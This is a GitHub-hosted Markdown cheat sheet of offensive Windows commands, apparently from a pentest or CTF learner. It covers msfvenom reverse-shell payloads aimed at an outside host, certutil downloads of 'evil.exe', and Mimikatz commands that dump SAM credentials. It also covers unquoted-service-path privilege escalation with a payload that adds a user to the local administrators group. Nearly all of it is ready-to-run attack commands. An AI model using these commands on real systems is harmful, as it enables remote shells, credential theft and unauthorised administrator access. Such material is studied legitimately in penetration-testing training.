Skip to content

Latest commit

 

History

History
57 lines (47 loc) · 1.31 KB

WindowsCS.md

File metadata and controls

57 lines (47 loc) · 1.31 KB

Windows Cheat Sheet

Generate a revshell

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.66.218 LPORT=1234 -f exe -o exp.exe

Upload a file

certutil.exe -urlcache -split -f http://10.11.66.218:9999/evil.exe C:\\Temp\\evil.exe

Add color to winPEAS

REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

MIMIKATZ

Upload mimikatz

Commands

privilege::debug
lsadump::sam

Unquoted Service Path

  • Scan vuln services
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
  • Check permissions
icacls "C:\Program Files\Development Files"
  • Create a payload
msfvenom -p windows/exec CMD="net localgroup administrators sage /add" -f exe-service -o Devservice.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.66.218 LPORT=1234 -f exe-service -o Devservice.exe
  • Get service info
sc qc "Development Service"